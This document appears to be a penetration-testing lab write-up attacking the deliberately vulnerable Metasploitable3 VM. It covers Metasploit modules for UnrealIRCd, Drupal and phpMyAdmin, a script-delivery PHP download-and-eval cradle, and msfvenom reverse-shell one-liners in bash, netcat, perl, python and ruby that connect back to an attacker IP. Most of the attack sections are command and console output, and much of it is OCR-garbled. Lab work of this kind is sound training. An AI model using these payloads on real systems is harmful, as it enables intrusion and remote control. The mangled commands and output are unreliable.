Metasploitable 3

What is Metasploitable 3?

Metasploitable3 is a Windows Server 2008 VM that is built from the ground up with a large amount of security vulnerabilities. It is intended to be used as a target for testing exploits with Metasploit. Not every type of vulnerability on Metasploitable3 can be exploited with a single module from Metasploit, but some can. Also, by default, the image is configured to make use of some mitigations from Windows, such as different permission settings and a firewall.

Namp Overview

Network Mapped (Nmap) is a network scanning and host detection tool that is very useful during several steps of penetration testing. Nmap is not limited to merely gathering information and enumeration. It is also a powerful utility that finds use as a vulnerability detector or a security scanner.

What does Nmap do?

It basically detects:

- Live host on the network.
- Open ports on the host.
- Software and the version to the respective port.
- Operating system, hardware address, and the software version.

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Exploiting Vulnerabilities

1. Port 6697: UnrealIRCd Exploit

Approach to be used

Searching the Metasploit Framework database only yielded one search hit. This was the same vulnerability and associated exploit used in Metasploitable2. This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th,

2010[4]. Now type the following command to use the correct module: use exploit/unix/irc/unreal_ircd_3281_backdoor Next, we look for a compatible payload and select one using the set payload command: show payloads set payload cmd/unix/reverse_perl Now type show options to see what fields we need to modify and set the correct values: show options set rhost [target ip] set lhost [attackbox ip]

Vulnerability scanning technical details

At the start, we knew there was an IRC service running on multiple ports from the Nmap scan. We did not know what version of Unreal IRCd was running because the Nmap scans did not mention that. Connecting to a service to extract more information is a crucial part of the service enumeration process. The version number appeared to be the missing puzzle piece in order to perform effective and efficient vulnerability analysis. Eventually we got the version number by connecting to the Unreal IRC service with an IRC client.

```
msfconsole -q
msf6 > search ircd
Matching Modules
                                                                                            Check Description
      exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12
                                                                                                   UnrealIRCD 3.2.8.1 Backdoor Command Execution
 Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal ircd 3281 backdoo
                                         The local client address
The local client port
A proxy chain of format type:host:port[,type:host:port][...]
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
The target port (TCP)
   0 Automatic Target
⇒ 0997

exploit(mix/irc/unrest_ircd_2001_buckdoor) > set LHOST 192.168.0.164
inknown datastore option: LHOST. Did you mean RHOST?

⇒ 192.168.0.164
      (dmlx/irc/unreal_ircd_3281_backdoor) > set lport 2345 datastore option: lport. Did you mean RPORT?
        ptolit(mix/reverse_ruby
coloit(mix/reverse_ruby)
roloit(mix/reverse_ruby)
roloit(mix/reverse_ruby)
    Started reverse TCP handler on 192.168.0.164:2345
192.168.0.144:5697 - Connected to 192.168.0.144:6697...
11rc.TestIRC, net NOITEC #UITH :** Looking up your hostname...
192.168.0.144:5697 - Sending backdoor command...
Command shell bession I opened (192.168.0.164:2454 → 192.168.0.144:48510) at 2024-10-25 18:00:23 +0530
   192.168.0.144 - Command shell session 1 closed.
    192.168.0.144 - Command shell session 2 closed.
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Exploit Exploit Execution findings

We got an open session now. We will see the Username as boba_fett. Unfortunately, sudo or root access was not possible as this exploit gained access using the boba_fett account, who was not in the sudo group. However, boba_fett was part of the docker group.

2. Port 80: Drupal webpage

Approach to be used A quick exploit search in the Metasploit Framework revealed a few exploits available to target Drupal. Additionally, the search sploit listed even more, usually with a specific version that was vulnerable. This module exploits the Drupal HTTP Parameter Key/Value SQLInjection to achieve a remote shell on the vulnerable instance. This module was tested against Drupal. Two methods are available to trigger the PHP payload on the target: - set TARGET 0: Form-cache PHP injection method . It uses the SQLi to upload a malicious form to Drupal's cache, then trigger the cache entry to execute the payload using a POP chain. - set TARGET 1: User-post

injection method. It creates a new Drupal user, adds it to the administrator's group, enables Drupal's PHP module, grants the administrators the right to bundle PHP code in their post, create a new post containing the payload and preview it to trigger the payload execution.

Exploit Execution Findings

The target URI was set to /drupal/ instead of root (/) as the drupal install was in the Apache web server's drupal directory. The whoami command revealed I was the www-data user. What was very interesting was that the Vulnerability & Exploit Database stated the exploit only worked against. The server had version 7.5 and was still vulnerable. Anyway, no higher level of access was gained.

3. .Port 22: Auxiliary Scanner SSH

Approach to be used This module will test ssh logins on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.

4. Script web delivery exploit

Approach to be used: This module quickly fires up a web server that serves a payload. The provided command which will allow for a payload to download and execute. It will do it either specified scripting language interpreter or "squiblydoo" via regsvr32.exe for bypassing application whitelisting. The main purpose of this module is to quickly establish a session on a target machine when the attacker must manually type in the command: e.g. Command Injection, RDP Session,

Local Access or maybe Remote Command Execution. This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter. When using either of the PSH targets, ensure the payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute x86 payloads on x64 machines. Regsvr32 uses "squiblydoo" technique for bypassing application whitelisting. The signed Microsoft binary file, Regsvr32, can request an .sct file and then execute the included PowerShell command inside of it. Similarly, the pubprn target uses the pubprn.vbs script to request and execute a .sct file. Both web requests (i.e., the .sct file and PowerShell download/execute) can occur on the same port. "PSH (Binary)" will write a file to the disk, allowing for custom binaries to be served up to be downloaded and executed.

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Exploit execution details: Now we need to initiate a ssh connection from our attacker machine to attacker and run the malicious code in terminal, the attacker will get a reverse shell through netcat.

```
(root@ kall):[*]

= ssh vagrant@192.168.0.144
vagrant@192.168.0.144
vagrant@192.168.0.144
vagrant@192.168.0.144

* Documentation: https://help.ubuntu.com/
Last login: Fri Oct 25 13:22:21 2024 from kali
vagrant@metasploitable3-ubuh464-5-$ php -d allow_url_fopen-true -r "eval(file_get_contents('http://192.168.0.164:8080/w9drOPG', false, stream_context_create(['ssl'⇒f'\verify_peer'⇒false,'verify_peer_name'⇒false])));"
```

Exploit Execution Findings As you can observe the result from the below image where the attacker has successfully accomplished targets system meterpreter shell, now he can do whatever he wishes to do.

```
msf6 exploit(malti/script/meb_delivery) > sessions -i

Active sessions

Id Name Type Information Connection

1 meterpreter php/linux vagrant @ metasploitable3-ub1404 192.168.0.164:4444 → 192.168.0.144:56857 (192.168.0.144)

msf6 exploit(malti/script/msb_delivery) > ■
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5. .Generating Reverse Shell using Msfvenom (One Liner Payload)

In this we will learn how to spawn a TTY reverse shell through netcat by using single line payload which is also known as stagers exploit that comes in Metasploit.

Basically, there are two types of terminal TTYs and PTs. TTYs are Linux/Unix shell which is hardwired terminal on a serial connection connected to mouse or keyboard and PTs is sudo tty terminal, to get the copy of terminals on network connections via SSH or telnet.

Open the terminal in your Kali Linux and type msfconsole to load Metasploit framework, now search all one-liner payloads for UNIX system using search command as given below, it will dump all exploit that can be used to compromise any UNIX system.

From given below image you can observe that it has dumped all exploit that can be used to be compromised any UNIX system. In this tutorial, we are going to use some of the payloads to spawn a TTY shell.

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6. .Bash Shell

In order to compromise a bash shell, you can use reverse_bash payload along msfvenom as given in below command.

Approach to be used msfvenom -p cmd/unix/reverse_bash

lhost=192.168.0.164 lport=1111 R

Here we had entered the following detail to generate one-liner raw payload.

-p: type of payload you are using i.e. cmd/unix/reverse_bash lhost:

listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 1111 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in the below image, the size of the generated payload is 62 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

```
maf6 > msfvenom -p cmd/unix/reverse_bash lhost-192.168.0.164 lport=1111 R

[*] exec: msfvenom -p cmd/unix/reverse_bash lhost-192.168.0.164 lport=1111 R

Overriding user environment variable 'OPERSSL_COMF' to enable legacy functions.

[-] No platform was selected, choosing NS: indoduce: Platform: Unix from the payload

[-] No arch selected, selecting arch: cmd from the payload

No encoder specified, outputting raw payload

Payload size: 77 bytes

bash -c '0<6151-jexec 1510/dev/tcp/192.108.0.164/1111;sh <6151 >6151 >6151 >6151 / msf6 > 1
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Exploit execution details: Now we need to initiate a ssh connection from our attacker machine to attacker and run the malicious code in terminal, the attacker will get a reverse shell through netcat.

Now simultaneously initiate netcat connection from attacker machine on port 1111.

Exploit Execution Findings As you can observe the result from given below image where the attacker has successfully accomplished targets system TTY shell, now he can do whatever he wishes to do. For example:

whoami: it tells you are the vagrant user of the system you have compromised

7. Netcat shell

Approach to be used

In order to compromise a netcat shell, you can use reverse_netcat payload along msfvenom as given in below command.

msfvenom -p cmd/unix/reverse netcat lhost=192.168.0.164 lport=2222 R

Here we had entered the following detail to generate one-liner raw payload.

-p: type of payload you are using i.e. cmd/unix/reverse_netcat lhost:

listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 2222 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in the below image, the size of the generated payload is 99 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

```
msf6 > msfvenom -p cmd/unix/reverse_netcat lhost=192.168.0.164 [port=2222 R

[*] exec: msfvenom -p cmd/unix/reverse_netcat lhost=192.168.0.164 [port=2222 R

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.

[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload

[-] No arch selected, selecting arch: cnd from the payload

No encoder specified, outputting raw payload

Payload size: 100 bytes

mkfi6 / tmp/uqmwtsi; nc 192.168.0.164 2222 0</tmp/uqmwtsi | /bin/sh >/tmp/uqmwtsi 2>61; rm /tmp/uqmwtsi

msf6 >
```

Exploit execution details: Now we need to initiate a ssh connection from our attacker machine to attacker and run the malicious code in terminal, the attacker will get a reverse shell through netcat.

```
ssh vagrantall92.168.0.144
vagrantall92.168.0.144's password:
Welcome to Ubuntu 14.04.6 LTS (GAU/Linux 3.13.0-170-generic x86_64)

* Documentation: https://help.ubuntu.com/
Last login: Fri Oct 25 13:45:10 2024 from kali
vagrantametasploitable3-ub1404:-$ mkfifo /tmp/uqmwtsi; nc 192.168.0.164 2222 0</tmp/uqmwtsi | /bin/sh >/tmp/uqmwtsi 2>61; rm /tmp/uqmwtsi
vagrantametasploitable3-ub1404:-$ mkfifo /tmp/uqmwtsi; nc 192.168.0.164 2222 0</tmp/uqmwtsi | /bin/sh >/tmp/uqmwtsi 2>61; rm /tmp/uqmwtsi
```

Now simultaneously initiate netcat connection from attacker machine on port 2222.

As you can observe the result from given below image where the attacker has successfully accomplished targets system TTY shell.

Exploit Execution Findings As you can observe the result from given below image where the attacker has successfully accomplished targets system TTY shell, now he can do whatever he wishes to do. For example: whoami: it tells you are the vagrant user of the system you have compromised.

8. Perl shell

In order to compromise a Perl shell, you can use reverse_perl payload along msfvenom as given in below command. Approach to be used msfvenom -p cmd/unix/reverse_perl lhost=192.168.0.164 lport=3333 R

Here we had entered the following detail to generate one-liner raw payload.

-p: type of payload you are using i.e. cmd/unix/reverse perl lhost:

listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 3333 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in the below image, the size of the generated payload is 232 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

```
msf6 > msfvenom -p cmd/unix/reverse_perl lhost=192.168.0.164 lport=3333 R

[a] exec: msfvenom -p cmd/unix/reverse_perl lhost=192.168.0.164 lport=3333 R

Overriding user environment variable 'OPENSI_CONF' to enable legacy functions.

[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload

[-] No arch selected, selecting arch: cmd from the payload

No encoder specified, outputting zwa psyload

Payload size: 232 bytes

perl =41io e* (%p-fork;exit,if(%p);foreach my %key(keys %ENN){if($ENV($key}=-/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,*192.168.0.164:3333");STDIN→fdopen($c,r)

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Exploit execution details: Now we need to initiate a ssh connection from our attacker machine to attacker and run the malicious code in terminal, the attacker will get a reverse shell through netcat.

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(rost@lali)-[~]

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Now simultaneously initiate netcat connection from attacker machine on port 3333. As you can observe the result from given below image where the attacker has successfully accomplished targets system TTY shell.

Exploit Execution Findings As you can observe the result from given below image where the attacker has successfully accomplished targets system TTY shell. Here we found target IP address: 192.168.1.129 by executing the ifconfig command in his TTY shell.

For example:

whoami: it tells you are the vagrant user of the system you have compromised.

9. Python Shell

In order to compromise a python shell, you can use reverse_Python payload along msfvenom as given in below command.

Approach to be used

msfvenom -p cmd/unix/reverse python lhost=192.168.0.164 lport=4444 R

Here we had entered the following detail to generate one-liner raw payload.

-p: type of payload you are using i.e. cmd/unix/reverse python lhost:

listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 4444 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in the below image, the size of the generated payload is 529 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

```
msf6 > msfvenom -p cmd/unix/reverse_python lhost=192.168.0.164 lport=4444 R

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.

[-] No platform was selected, choosing Msf::Module:Platform:Umix from the payload

[-] No platform was selected, choosing Msf::Module:Platform:Umix from the payload

[-] No arch selected, selecting arch: cnd from the payload

No encoder specified, outputting raw payload

Payload size: 360 bytes

pythom -c 'execc_import_(':Zlib').decompress(_import_('base64').b64decode(_import_('codecs').getencoder('utf-8')('eNrLzC3ILypRXM5Pzk4tUYABneL5pIKi/OTU4mKENDGYbQ3lZuQX19g

qGVoad6mmadegZAEK17MR5klG2JkCALFhsC7FID0JpQ+moDvGefqkhShZDxIP9mb3jg0CXB19NVGMUvOz8LLT37R8AA5A6EPZkkmitL8Yr2U0g1jjmK9tMyc1ksDUZEagDiYROSrd1IRMWBLSIg9ZITC310\PSTM:P0izOUAAEW

141'[0]]))*

msf6 > ■
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Exploit execution details: Now we need to initiate a ssh connection from our attacker machine to attacker and run the malicious code in terminal, the attacker will get a reverse shell through netcat.

Now simultaneously initiate netcat connection from attacker machine on port 4444.

As you can observe the result from given below image where the attacker has successfully accomplished targets system TTY shell.

Exploit Execution Findings As you can observe the result from the above image where the attacker has successfully accomplished targets system TTY shell, now he can do whatever he wishes to do.

For example:

ifconfig: it tells IP configuration of the system you have compromised.

10. Ruby Shell

In order to compromise a ruby shell, you can use reverse_ruby payload along msfvenom as given in below command. Approach to be used msfvenom -p cmd/unix/reverse_ruby

lhost=192.168.1.140 lport=5555 R

Here we had entered the following detail to generate one-liner raw payload.

-p: type of payload you are using i.e. cmd/unix/reverse ruby lhost:

listening IP address i.e. Kali Linux IP

lport: Listening port number i.e. 5555 (any random port number which is not utilized by other services)

R: Its stand for raw payload

As shown in the below image, the size of the generated payload is 131 bytes, now copy this malicious code and send it to target. After that start netcat for accessing reverse connection and wait for getting his TTY shell.

```
ms16 > ms1venom -p cmd/unix/reverse_ruby lboxt=192.168.0.164 lport=5555 R

[*] exec: ms1venom -p cmd/unix/reverse_ruby lbost=192.168.0.164 lport=5555 R

[*] exec: ms1venom -p cmd/unix/reverse_ruby lbost=192.168.0.164 lport=5555 R

overriding user environment variable 'OPINSSI_COND' to enable legacy functions.

[-] No plotform was selected, choosing Msf::Moulde:"Platform:Unix from the payload

[-] No arch selected, selecting arch: cnd from the payload

No encoder specified, outputting raw payload

Payload size: 131 bytes

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.164","5555");while(cmd=c.gets);10.popen(cmd,"r")[]olc.print io.read]end'

ms16 > [**]
```

Exploit execution details: Now we need to initiate a ssh connection from our attacker machine to attacker and run the malicious code in terminal, the attacker will get a reverse shell through netcat.

```
(root@kali)={-}
ssh vagrantal92.168.0.144
vagrantal92.168.0.144's password:
Welcome to Ubuntu 14.04.6 LTS (GMU/Linux 3.13.0-170-generic x86_64)

* Documentation: https://help.ubuntu.com/
Last login: Fri Oct 25 14:21:26 2024 from kali
vagrantametasploitable3-ub1404:-$ ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.164","5555");while(cmd-c.gets);IO.popen(cmd,"r"){||io|c.print io.read|end"
vagrantametasploitable3-ub1404:-$ |
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Now simultaneously initiate netcat connection from attacker machine on port 5555. As you can observe the result from given below image where the attacker has successfully accomplished targets system TTY shell.

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Exploit Execution Findings As you can observe the result from the above image where the attacker has successfully accomplished targets system TTY shell, now he can do whatever he wishes to do.

For example:

ifconfig: it tells IP configuration of the system you have compromised.

11. phpMyAdmin

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nsf6 exploit(will/hitp/physyddin, preg.replace) > set RHOSTS 192.168.0.144
RHOSTS ⇒ 192.168.0.144
ssf6 exploit(will/hitp/physyddin, preg.replace) > set PASSWORD sploitne
PASSWORD ⇒ sploitne
ssf6 exploit(will/hitp/physyddin, preg.replace) > exploit

[s] Started reverse TCP handler on 192.168.0.164:4444
[s] phybyddini version: 3..3e
[s] The target appears to be vulnerable.
[s] The target appears to be vulnerable.
[s] Retrieved tolon
[s] Authenticating successful
[s] Authenticating successful
[s] Sending stage (39927 bytes) to 192.168.0.164:4444 → 192.168.0.144:56932) at 2024-10-25 20:28:74 +0530

metarpreter > settind
Server username: www-data
metarpreter > settl
Process 2847 created.
Channel € created.
who and
who an
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